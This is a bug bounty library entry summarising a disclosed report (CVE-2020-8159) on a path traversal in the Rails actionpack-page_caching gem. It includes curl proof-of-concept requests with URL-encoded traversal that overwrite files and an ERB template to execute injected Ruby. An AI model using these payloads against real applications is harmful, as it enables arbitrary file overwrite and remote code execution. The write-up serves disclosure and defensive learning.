# File writing by Directory traversal at actionpack-page_caching and RCE by it

URL-encoded traversal in actionpack-page_caching cache_file allowed writing cache files outside public/, overwriting ERB views to achieve RCE.

- Payout: $1,000
- Severity: high
- Program: Ruby on Rails
- Found by: ooooooo_q
- Disclosed: 2020-07-13
- CVE: CVE-2020-8159
- Write-up quality: 8/10
- Original: https://hackerone.com/reports/519220
- Library page: https://bugbountylibrary.com/r/h1%3A519220
- Tags: area:web domain:web impact:integrity impact:rce kind:bounty platform:hackerone sev:high tech:ruby technique:chained technique:source-review vuln:path-traversal vuln:rce

**Target:** actionpack-page_caching (Rails page caching cache_path/cache_file)
**Root cause:** cache_file unescapes the request path via URI.parser.unescape without rejecting `..` segments, so File.join(cache_directory, ...) resolves outside the cache directory.
**Steps:**
1. Enable page caching (`rails dev:cache`) and add `caches_page :show` to a controller.
2. Request `GET /books/1%2f%2e%2e%2f%2e%2e%2f%2e%2e%2ftest` to write `test.html` outside public/.
3. Request `GET /books/1%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fREADME%2emd` to overwrite existing files.
4. Create `app/views/books/show.text.erb` containing `name: <%= @ book.name %>`.
5. Request `GET /books/1%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fapp%2fviews%2fbooks%2fshow%2etext%2eerb?format=text` with a book name of ``<% `toouch me` %>`` to overwrite the ERB template.
6. Request `GET /books/1.txt` to render the template and execute the injected Ruby.
**How found:** Code review of cache_file/cache_path noticed URI.parser.unescape applied to the request path with no traversal filtering, then tested encoded `..` sequences against a page-cached route.
**Exploitation:** Attacker controls a model attribute rendered into a text template, then uses the traversal to overwrite that template file with unescaped ERB, and triggers rendering to execute arbitrary Ruby commands.
**Escalation:** Chained file-write traversal with template overwrite to escalate from arbitrary file write to RCE.
**Insight:** Page-caching gems that unescape request paths before File.join are traversal sinks; look for cache_file/cache_path-style helpers and test encoded `%2f%2e%2e` segments, then check whether any writable path is later rendered as a template.

## Proof of concept (copied exactly from the original report)

**Traversal curl overwriting README.md**

```
curl "http://localhost:3000/books/1%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fREADME%2emd"

# If the file exists it will be overwritten
❯ cat README.md
...
<p>
  <strong>Name:</strong>
  &lt;% `touch me` %&gt;
</p>
...
```

**Traversal curl writing test.html**

```
curl "http://localhost:3000/books/1%2f%2e%2e%2f%2e%2e%2f%2e%2e%2ftest"

# test file is generated
❯ ls
app  config     db       Gemfile.lock  log           public    README.md  test       tmp
bin  config.ru  Gemfile  lib           package.json  Rakefile  storage    test.html  vendor
```

**Overwrite ERB view then trigger RCE**

```
curl "http://localhost:3000/books/1%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fapp%2fviews%2fbooks%2fshow%2etext%2eerb?format=text"
name: <% `touch me` %>

❯ cat app/views/books/show.text.erb
name: <% `touch me` %>


# executed `touch me`
❯ curl "http://localhost:3000/books/1.txt"
name:

# me file is generated
❯ ls
app  config     db       Gemfile.lock  log  package.json  Rakefile   storage  test.html  vendor
bin  config.ru  Gemfile  lib           me   public        README.md  test     tmp
```

